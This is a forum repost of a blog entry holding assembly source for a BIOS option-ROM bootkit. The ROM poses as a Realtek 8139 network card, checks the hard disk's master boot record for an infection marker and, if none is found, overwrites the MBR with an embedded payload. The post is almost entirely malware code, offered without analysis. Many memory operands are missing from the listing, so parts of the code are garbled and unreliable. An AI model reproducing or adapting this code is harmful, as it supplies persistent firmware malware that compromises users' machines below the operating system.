a1234567mdy 发表于 2011-12-23 03:43

[轉載]BMW(ISA代碼)

<span class="Apple-style-span" style="color: rgb(255, 255, 255); font-family: Arial, Tahoma, Helvetica, FreeSans, sans-serif; font-size: 13px; background-color: rgb(20, 20, 20); "><a href="http://0mblogger.blogspot.com/2011/09/bmwisa.html" target="_blank">http://0mblogger.blogspot.com/2011/09/bmwisa.html</a>[轉載]BMW(ISA代碼)<div class="post-header" style="line-height: 1.6; margin-top: 0px; margin-right: 0px; margin-bottom: 1em; margin-left: 0px; "><div class="post-header-line-1"></div></div><div class="post-body entry-content" id="post-body-2751380344167953446" style="width: 536px; position: relative; line-height: 1.4; "><div style="text-align: center; ">作者:foxmain</div><div style="text-align: left; "></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;org &nbsp; &nbsp;0h &nbsp; &nbsp; &nbsp; &nbsp;; 运行于BIOS中</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp; 55h,0AAh &nbsp; &nbsp;; ISA模块头</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;db &nbsp; &nbsp; 15 &nbsp; &nbsp; &nbsp; &nbsp;; 大小为 15*512字节</div><div style="text-align: left; "><br></div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp;MyROMCodeStart</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; "><br></div><div style="text-align: left; ">;db 0bh</div><div style="text-align: left; ">;db 6dh</div><div style="text-align: left; ">;db 03h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;times 18 db 0h</div><div style="text-align: left; ">;dd 400020h,8b2e0060h,4e5590c0h</div><div style="text-align: left; ">;dd a7164944h</div><div style="text-align: left; ">;dd A7h</div><div style="text-align: left; ">;db &nbsp;44h,49h,16h</div><div style="text-align: left; ">;db 167</div><div style="text-align: left; ">;dd 2010000h,8000cc5h</div><div style="text-align: left; ">dw &nbsp; &nbsp; &nbsp;001ch; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PCI數據結構起始偏移 00h</div><div style="text-align: left; ">dw &nbsp; &nbsp; &nbsp;0034h; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PCI數據結構結束偏移 02h&nbsp;</div><div style="text-align: left; ">dd &nbsp; &nbsp; &nbsp;52494350h; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PCIR(pci rom)標誌 &nbsp; 04h&nbsp;</div><div style="text-align: left; ">dw &nbsp; &nbsp; &nbsp;10ech; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;供應商ID &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;08h&nbsp;</div><div style="text-align: left; ">dw &nbsp; &nbsp; &nbsp;8139h; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;設備ID(網卡8139) &nbsp; &nbsp;0ah&nbsp;</div><div style="text-align: left; ">dw &nbsp; &nbsp; &nbsp;0000; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 保留 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;0ch&nbsp;</div><div style="text-align: left; ">dw &nbsp; &nbsp; &nbsp;0018h; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PCI數據結構長度 &nbsp; &nbsp; 0eh&nbsp;</div><div style="text-align: left; ">db &nbsp; &nbsp; &nbsp;00h; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;PCI數據結構修訂版 &nbsp; 10h</div><div style="text-align: left; ">db &nbsp; &nbsp; &nbsp;02,00,00; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 類別代碼 &nbsp;</div><div style="text-align: left; ">dw &nbsp; &nbsp; &nbsp;0008h; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;代碼長度</div><div style="text-align: left; ">dw &nbsp; &nbsp; &nbsp;0201h; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;代碼/數據修訂版本水平</div><div style="text-align: left; ">db &nbsp; &nbsp; &nbsp;00; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; 代碼類型(0表示可執行代碼)</div><div style="text-align: left; ">db &nbsp; &nbsp; &nbsp;80h; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;指示字節&nbsp;</div><div style="text-align: left; ">dw &nbsp; &nbsp; &nbsp;0000h; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;保留</div><div style="text-align: left; ">dd &nbsp; &nbsp; &nbsp;506e5024h,201h,6500h,0,20000h,6400h,0,0;</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; "><br></div><div style="text-align: left; ">MyROMCodeStart:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;pushf &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;pushad &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;PCI設備規範中說明,除了返回值以外,其它的參數必需恢復</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; es</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;push &nbsp; ds</div><div style="text-align: left; "><br></div><div style="text-align: left; ">; &nbsp; &nbsp; &nbsp; &nbsp;ret</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;cld</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; x_code &nbsp; &nbsp;; 跳轉到程序進入點</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;------------------------------------------------------------------------</div><div style="text-align: left; ">incbin "dst_sectors.dat";;;需要復制的數據</div><div style="text-align: left; ">;------------------------------------------------------------------------</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;oxfb9cd</div><div style="text-align: left; ">;0xfb8ed</div><div style="text-align: left; ">x_code:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;ax</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp;bx,bx</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; bx</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;es</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; cs &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;ds &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;si, ax</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;di, 7c00h&nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;cx, 1c00h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;rep &nbsp; &nbsp;movsb &nbsp; &nbsp; ;將需要復制的文件拷貝到7c00h處</div><div style="text-align: left; ">&nbsp;&nbsp;mov &nbsp; &nbsp;ds,bx</div><div style="text-align: left; ">&nbsp;&nbsp;mov &nbsp; &nbsp; ah, 41h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; dl, 80h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp; bx, 55AAh</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;int &nbsp; &nbsp; 13h &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; ;檢測是否支持擴展的BIOS int 13h功能</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp; bx, 0AA55h</div><div style="text-align: left; ">&nbsp;&nbsp;jnz &nbsp; &nbsp; __Exit</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;test &nbsp; &nbsp;cl, 1</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;jz &nbsp; &nbsp; &nbsp;__Exit</div><div style="text-align: left; "><br></div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; __Estimate_MBR;判斷MBR是否以經被HOOK&nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;test &nbsp; ax,ax</div><div style="text-align: left; ">&nbsp;&nbsp;jnz &nbsp; &nbsp;__Exit; &nbsp; &nbsp; &nbsp; &nbsp;如果被HOOK了或者讀取錯誤退出</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;ax,7c00h&nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;ecx,0</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;dx,14</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;call &nbsp; __Write_sectors</div><div style="text-align: left; "><br></div><div style="text-align: left; ">__Exit:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;ds</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;pop &nbsp; &nbsp;es</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;popad</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;popf</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;retf</div><div style="text-align: left; "><br></div><div style="text-align: left; "><br></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; "><br></div><div style="text-align: left; ">;=============================================================</div><div style="text-align: left; "></div><div style="text-align: left; ">; 需要將名稱變為大寫&nbsp;</div><div style="text-align: left; ">; 輸入:ES:EDI = 字符串CX = 字符串長度(寬字符串)&nbsp;</div><br><div style="text-align: left; ">;</div><div style="text-align: left; ">;=============================================================</div><div style="text-align: left; ">ToUpperCase:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;PUSH &nbsp; &nbsp; &nbsp;ECX</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;PUSH &nbsp; &nbsp; &nbsp;EBX</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;XOR &nbsp; &nbsp; &nbsp; EBX,EBX</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;TEST &nbsp; &nbsp; &nbsp;CX,CX</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;JZ &nbsp; &nbsp; &nbsp; &nbsp;.End &nbsp; &nbsp; &nbsp; &nbsp;; CX = 0</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;; 目前只處理 a-z =&gt; A-Z&nbsp;</div><div style="text-align: left; ">.CheckNextChar:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;CMP &nbsp; &nbsp; &nbsp; WORD,0061H</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;JB &nbsp; &nbsp; &nbsp; &nbsp;.NextChar</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;CMP &nbsp; &nbsp; &nbsp; &nbsp;WORD,007AH</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;JA &nbsp; &nbsp; &nbsp; &nbsp;.NextChar</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;; a &lt; ch &lt; z</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;SUB &nbsp; &nbsp; &nbsp; &nbsp;WORD,20H</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;</div><div style="text-align: left; ">.NextChar: &nbsp; &nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;; 繼續處理下一個字符</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;INC &nbsp; &nbsp; &nbsp; &nbsp;EBX</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;INC &nbsp; &nbsp; &nbsp; &nbsp;EBX</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;DEC &nbsp; &nbsp; &nbsp; &nbsp;CX</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;JNZ &nbsp; &nbsp; &nbsp; &nbsp;.CheckNextChar</div><div style="text-align: left; "><br></div><div style="text-align: left; ">.End:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;; 返回</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;POP &nbsp; &nbsp; &nbsp; &nbsp;EBX</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;POP &nbsp; &nbsp; &nbsp; &nbsp;ECX</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;RET</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</div><div style="text-align: left; ">;function : write sectors&nbsp;</div><div style="text-align: left; ">;vars : ax = offset of the buffer,dx = cnt of sectors to write,ecx = start sector No.&nbsp;</div><div style="text-align: left; ">;data: 2009-5-23</div><div style="text-align: left; ">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</div><div style="text-align: left; ">__Write_sectors:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; si</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; di</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp;bx,bx</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;push &nbsp; bx</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;ds</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;si,97F0h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;,word 0010h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;,dx;寫dx個扇區的數據&nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;,ax</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;,byte 0000h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;,ecx;從第ecx個扇區開始寫入</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;ecx,0004h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;di,97FCh</div><div style="text-align: left; ">_fill_zero1:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;,byte 00h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;inc &nbsp; &nbsp;di</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;loop &nbsp; _fill_zero1</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;ax,4300h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;dl,80h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;int &nbsp; &nbsp;13h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;jnb &nbsp; &nbsp;_normal_write</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;ax,0ffffh</div><div style="text-align: left; ">_normal_write:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;di</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;si &nbsp; &nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;ret</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</div><div style="text-align: left; ">;function : __Estimate_MBR&nbsp;</div><div style="text-align: left; ">;date : 2009-05-26</div><div style="text-align: left; ">;if hooked return true else return false</div><div style="text-align: left; ">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</div><div style="text-align: left; "><br></div><div style="text-align: left; ">__Estimate_MBR:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;ax,0x8A00 &nbsp;;7c00+e00</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;dx,1;需要讀取的扇區數</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;ecx,0;開始讀的起始扇區</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;push &nbsp; ax</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;call &nbsp; __Read_sectors;讀0扇區的內容</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;si</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;cmp &nbsp; &nbsp;ax,0xffff</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;jz &nbsp; &nbsp; _erro_read</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;mov &nbsp; &nbsp;ax, ;7c00+1FE</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;cmp &nbsp; &nbsp;ax,0xAA55</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp;jnz &nbsp; &nbsp;FindSign&nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;eax, ;7c00+e00+192</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp;eax,0x31746E69;;HOOK標誌</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;jz &nbsp; &nbsp; FindSign</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;ax,0</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp;NotHook</div><div style="text-align: left; ">FindSign:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;ax,1</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;jmp &nbsp; &nbsp;_erro_read</div><div style="text-align: left; ">NotHook:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;mov &nbsp; si,0x8B80 ;7c00+e00+180</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;mov &nbsp; di,0x7d80 ;7c00+180</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;mov &nbsp; cx,0x80</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;rep &nbsp; movsb &nbsp; &nbsp; &nbsp;;複製分區表到0x7c00+0x180處&nbsp;</div><div style="text-align: left; ">_erro_read:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;ret</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</div><div style="text-align: left; ">;function : read sectors&nbsp;</div><div style="text-align: left; ">;vars : ax = offset of the buffer,dx = cnt of sectors to read,ecx = start sector No.&nbsp;</div><div style="text-align: left; ">;updata: 2009-5-23</div><div style="text-align: left; ">;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;</div><div style="text-align: left; "><br></div><div style="text-align: left; ">__Read_sectors:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; si</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; di</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;xor &nbsp; &nbsp;bx,bx</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;push &nbsp; bx</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;ds &nbsp; &nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;si,97F0h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;,word 0010h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;,dx;讀取dx個扇區的數據</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;,ax</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;,byte 0000h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;,ecx &nbsp; &nbsp; &nbsp;;從第ecx個扇區開始讀取。</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;ecx,0004h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;di,97FCh</div><div style="text-align: left; ">_fill_zero:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;,byte 00h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;inc &nbsp; &nbsp;di</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;loop &nbsp; _fill_zero</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;ax,4200h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;dl,80h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;int &nbsp; &nbsp;13h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;jnb &nbsp; &nbsp;_normal_read</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;mov &nbsp; &nbsp;ax,0ffffh</div><div style="text-align: left; ">_normal_read:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;di</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;si &nbsp; &nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;ret</div><div style="text-align: left; "><br></div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">;*******************************************************************************************************************</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp;</div><div style="text-align: left; ">WaitPressScrollKey:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;push &nbsp; ax</div><div style="text-align: left; ">s0:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;in &nbsp; &nbsp; al,60h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;cmp &nbsp; &nbsp;al,0x46 &nbsp; &nbsp; &nbsp;;Scroll Lock鍵掃描碼:46h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;jnz &nbsp; &nbsp;s1 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;stc &nbsp; &nbsp;</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;ax</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;ret</div><div style="text-align: left; ">s1:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;in &nbsp; &nbsp; al,61h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;test &nbsp; al,010h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;jnz &nbsp; &nbsp;s2</div><div style="text-align: left; ">con:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;in &nbsp; &nbsp; al,61h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;test &nbsp; al,10h</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;jz &nbsp; &nbsp; con</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;dec &nbsp; &nbsp;cx</div><div style="text-align: left; ">s2:</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;or &nbsp; &nbsp; cx,cx</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;jnz &nbsp; &nbsp;s0</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;clc</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;pop &nbsp; &nbsp;ax</div><div style="text-align: left; ">&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;ret</div><div style="text-align: left; ">times &nbsp;7680-($-$$) &nbsp;db &nbsp;0 &nbsp;; 添加文件至7680字節大小</div></div></span>
页: [1]
查看完整版本: [轉載]BMW(ISA代碼)